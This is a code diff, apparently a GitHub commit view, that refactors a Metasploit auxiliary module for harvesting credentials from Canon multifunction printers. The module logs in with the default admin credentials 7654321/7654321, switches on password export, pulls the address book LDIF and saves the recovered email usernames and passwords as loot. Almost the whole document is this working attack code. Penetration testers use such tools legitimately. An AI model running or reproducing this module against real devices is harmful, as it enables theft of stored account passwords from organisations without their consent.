1
1
#
2
- # This module requires Metasploit: http//metasploit.com/download
2
+ # This module requires Metasploit: http: //metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
-
7
- require 'rex/proto/http'
8
6
require 'msf/core'
9
7
10
-
11
- class Metasploit3 < Msf ::Auxiliary
8
+ class MetasploitModule < Msf ::Auxiliary
12
9
13
10
include Msf ::Exploit ::Remote ::HttpClient
14
11
include Msf ::Auxiliary ::Report
@@ -31,7 +28,9 @@ def initialize(info={})
31
28
'Author' =>
32
29
[
33
30
'Deral "Percentx" Heiland' ,
34
- 'Pete "Bokojan" Arzamendi'
31
+ 'Pete "Bokojan" Arzamendi' ,
32
+ 'William Vu' ,
33
+ 'Dev Mohanty'
35
34
] ,
36
35
'License' => MSF_LICENSE
37
36
) )
@@ -40,47 +39,47 @@ def initialize(info={})
40
39
[
41
40
OptBool . new ( 'SSL' , [ true , "Negotiate SSL for outgoing connections" , false ] ) ,
42
41
OptInt . new ( 'ADDRSBOOK' , [ true , 'The number of the address book to extract 1-11' , 1 ] ) ,
43
- OptInt . new ( ' RPORT' , [ true , 'The target port' , 8000 ] ) ,
42
+ Opt :: RPORT ( 8000 ) ,
44
43
OptString . new ( 'USER' , [ true , 'The default Admin user' , '7654321' ] ) ,
45
44
OptString . new ( 'PASSWD' , [ true , 'The default Admin password' , '7654321' ] ) ,
46
45
OptInt . new ( 'TIMEOUT' , [ true , 'Timeout for printer probe' , 20 ] )
47
46
48
47
] , self . class )
49
48
end
50
49
51
- # Time to start the fun
52
50
def run_host ( ip )
53
51
print_status ( "Attempting to extract passwords from the address books on the MFP at #{ rhost } " )
54
52
login ( ip )
55
53
end
56
54
57
55
#Authenticate to management function on Canon MFP and build needed cookies for dta harvesting
58
56
def login ( ip )
59
- login_post_data = "uri=%2f&deptid=#{ datastore [ 'USER' ] } &password=#{ datastore [ 'PASSWD' ] } "
60
-
57
+ vars_post = {
58
+ "uri" => "%2f" ,
59
+ "deptid" => "#{ datastore [ 'USER' ] } " ,
60
+ "password" => "#{ datastore [ 'PASSWD' ] } "
61
+ }
61
62
begin
62
63
res = send_request_cgi ( {
63
64
'method' => 'POST' ,
64
- 'uri' => '/login' ,
65
- 'data' => login_post_data ,
65
+ 'uri' => normalize_uri ( '/login' ) ,
66
+ 'vars_post' => vars_post
66
67
} , datastore [ 'TIMEOUT' ] . to_i )
67
68
end
68
69
69
70
#grab Canon sessionid cookie
70
- idcookie = res . get_cookies
71
+ idcookie = res . nil? ? nil : res . get_cookies
71
72
72
- if ( res . code == 301 or res . code == 302 and res . headers [ 'Location' ] != nil )
73
+ if res . code == 301 || res . code == 302 && res . headers . include? ( 'Location' )
73
74
print_good ( "#{ rhost } - SUCCESSFUL login with USER='#{ datastore [ 'USER' ] } ' : PASSWORD='#{ datastore [ 'PASSWD' ] } '" )
74
75
75
- #grab Canon IR= session cookie
76
- begin
77
- res = send_request_cgi ( {
78
- 'method' => 'GET' ,
79
- 'uri' => '/rps/nativetop.cgi?RUIPNxBundle=&CorePGTAG=PGTAG_CONF_ENV_PAP&Dummy=1400782981064' ,
80
- 'headers' => { 'Cookie' => "#{ idcookie } " } ,
81
- } , datastore [ 'TIMEOUT' ] . to_i )
82
- end
83
- ircookie = res . get_cookies
76
+ #grab Canon IR= session cookie
77
+ res = send_request_cgi ( {
78
+ 'method' => 'GET' ,
79
+ 'uri' => normalize_uri ( '/rps/nativetop.cgi?RUIPNxBundle=&CorePGTAG=PGTAG_CONF_ENV_PAP&Dummy=1400782981064' ) ,
80
+ 'headers' => { 'Cookie' => "#{ idcookie } " } ,
81
+ } , datastore [ 'TIMEOUT' ] . to_i )
82
+ ircookie = res . nil? ? nil : res . get_cookies
84
83
cookies = ( "#{ idcookie } ; #{ ircookie } " )
85
84
86
85
set_allow ( cookies )
@@ -93,32 +92,47 @@ def login(ip)
93
92
end
94
93
95
94
96
- # Set the allow password export to on
95
+ # Set the allow password export to on
97
96
def set_allow ( cookies )
98
- set_post_data = "ADRSEXPPSWDCHK=0&PageFlag=c_adrs.tpl&Flag=Exec_Data&CoreNXAction=./cadrs.cgi&CoreNXPage=c_adrexppass.tpl&CoreNXFlag=Init_Data&Dummy=1359048058115"
99
-
97
+ vars_post = {
98
+ "ADRSEXPPSWDCHK" => "0" ,
99
+ "PageFlag" => "c_adrs.tpl" ,
100
+ "Flag" => "Exec_Data" ,
101
+ "CoreNXAction" => "./cadrs.cgi" ,
102
+ "CoreNXPage" => "c_adrexppass.tpl" ,
103
+ "CoreNXFlag" => "Init_Data" ,
104
+ "Dummy" => "1359048058115"
105
+ }
100
106
begin
101
107
res = send_request_cgi ( {
102
108
'method' => 'POST' ,
103
- 'uri' => '/rps/cadrs.cgi' ,
104
- 'data' => set_post_data ,
109
+ 'uri' => normalize_uri ( '/rps/cadrs.cgi' ) ,
110
+ 'vars_post' => vars_post ,
105
111
'headers' => { 'Cookie' => "#{ cookies } " } ,
106
112
} , datastore [ 'TIMEOUT' ] . to_i )
107
113
end
108
114
end
109
115
110
- # Extract the adress book data and save out to loot
116
+ # Extract the adress book data and save out to loot
111
117
def extract ( cookies , ip )
112
- extract_data = "AID=#{ datastore [ 'ADDRSBOOK' ] } &ACLS=1&ENC_MODE=0&ENC_FILE=password&PASSWD=&PageFlag=&AMOD=&Dummy=1359047882596&ERR_PG_KIND_FLG=Adress_Export"
113
- begin
114
- res = send_request_cgi ( {
115
- 'method' => 'POST' ,
116
- 'uri' => '/rps/abook.ldif' ,
117
- 'data' => extract_data ,
118
- 'headers' => { 'Cookie' => "#{ cookies } " } ,
119
- } , datastore [ 'TIMEOUT' ] . to_i )
120
- end
121
- address_book = ( res . body )
118
+ vars_post = {
119
+ "AID" => "#{ datastore [ 'ADDRSBOOK' ] } " ,
120
+ "ACLS" => "1" ,
121
+ "ENC_MODE" => "0" ,
122
+ "ENC_FILE" => "password" ,
123
+ "PASSWD" => "" ,
124
+ "PageFlag" => "" ,
125
+ "AMOD" => "" ,
126
+ "Dummy" => "1359047882596" ,
127
+ "ERR_PG_KIND_FLG" => "Adress_Export"
128
+ }
129
+ res = send_request_cgi ( {
130
+ 'method' => 'POST' ,
131
+ 'uri' => normalize_uri ( '/rps/abook.ldif' ) ,
132
+ 'vars_post' => vars_post ,
133
+ 'headers' => { 'Cookie' => "#{ cookies } " } ,
134
+ } , datastore [ 'TIMEOUT' ] . to_i )
135
+ address_book = res . nil? ? nil : res . body
122
136
print_status ( "#{ address_book } " )
123
137
124
138
#Woot we got loot.
@@ -127,23 +141,27 @@ def extract(cookies, ip)
127
141
loot_filename = "Canon-addressbook.text"
128
142
loot_desc = "Canon Addressbook Harvester"
129
143
p = store_loot ( loot_name , loot_type , datastore [ 'RHOST' ] , address_book , loot_filename , loot_desc )
130
- print_status ( "Credentials saved in: #{ p . to_s } " )
144
+ print_status ( "Credentials saved in: #{ p } " )
131
145
132
146
harvest_ldif ( address_book , ip )
133
147
end
134
148
135
149
# Reset the allow password export to off
136
150
def set_disallow ( cookies )
137
- set_post_data = "ADRSEXPPSWDCHK=1&PageFlag=c_adrs.tpl&Flag=Exec_Data&CoreNXAction=./cadrs.cgi&CoreNXPage=c_adrexppass.tpl&CoreNXFlag=Init_Data&Dummy=1359048058115"
138
-
139
- begin
140
- res = send_request_cgi ( {
141
- 'method' => 'POST' ,
142
- 'uri' => '/rps/cadrs.cgi' ,
143
- 'data' => set_post_data ,
144
- 'headers' => { 'Cookie' => "#{ cookies } " } ,
145
- } , datastore [ 'TIMEOUT' ] . to_i )
146
- end
151
+ vars_post = {
152
+ "ADRSEXPPSWDCHK" => "1" ,
153
+ "PageFlag" => "c_adrs.tpl" ,
154
+ "Flag" => "Exec_Data" ,
155
+ "CoreNXAction" => "./cadrs.cgi" ,
156
+ "CoreNXPage" => "c_adrexppass.tpl" ,
157
+ "CoreNXFlag" => "Init_Data&Dummy=1359048058115"
158
+ }
159
+ res = send_request_cgi ( {
160
+ 'method' => 'POST' ,
161
+ 'uri' => normalize_uri ( '/rps/cadrs.cgi' ) ,
162
+ 'vars_post' => vars_post ,
163
+ 'headers' => { 'Cookie' => "#{ cookies } " } ,
164
+ } , datastore [ 'TIMEOUT' ] . to_i )
147
165
end
148
166
149
167
# Harvest Credential
@@ -152,7 +170,7 @@ def harvest_ldif(address_book, ip)
152
170
end
153
171
154
172
def harvest_credentials ( mailaddress , pwd , ip )
155
- return 0 if mailaddress == nil
173
+ return if mailaddress == nil
156
174
username_domain = mailaddress . split ( '@' )
157
175
username = username_domain [ 0 ]
158
176
domain = username_domain [ 1 ]
@@ -161,7 +179,7 @@ def harvest_credentials(mailaddress, pwd, ip)
161
179
address : Rex ::Socket . getaddress ( ip ) ,
162
180
port : rport ,
163
181
protocol : 'tcp' ,
164
- service_name : 'http' ,
182
+ service_name : ssl ? 'https' : 'http' ,
165
183
workspace_id : myworkspace_id
166
184
}
167
185
@@ -175,7 +193,7 @@ def harvest_credentials(mailaddress, pwd, ip)
175
193
176
194
create_credential ( credential_data . merge ( service_data ) )
177
195
178
- puts "Domain: #{ domain } \n User: #{ username } \n Password: #{ pwd } \n \r "
196
+ print_good "Domain: #{ domain } \n User: #{ username } \n Password: #{ pwd } \n \r "
179
197
end
180
198
181
199
def harvest_file ( ldif , ip )
0 commit comments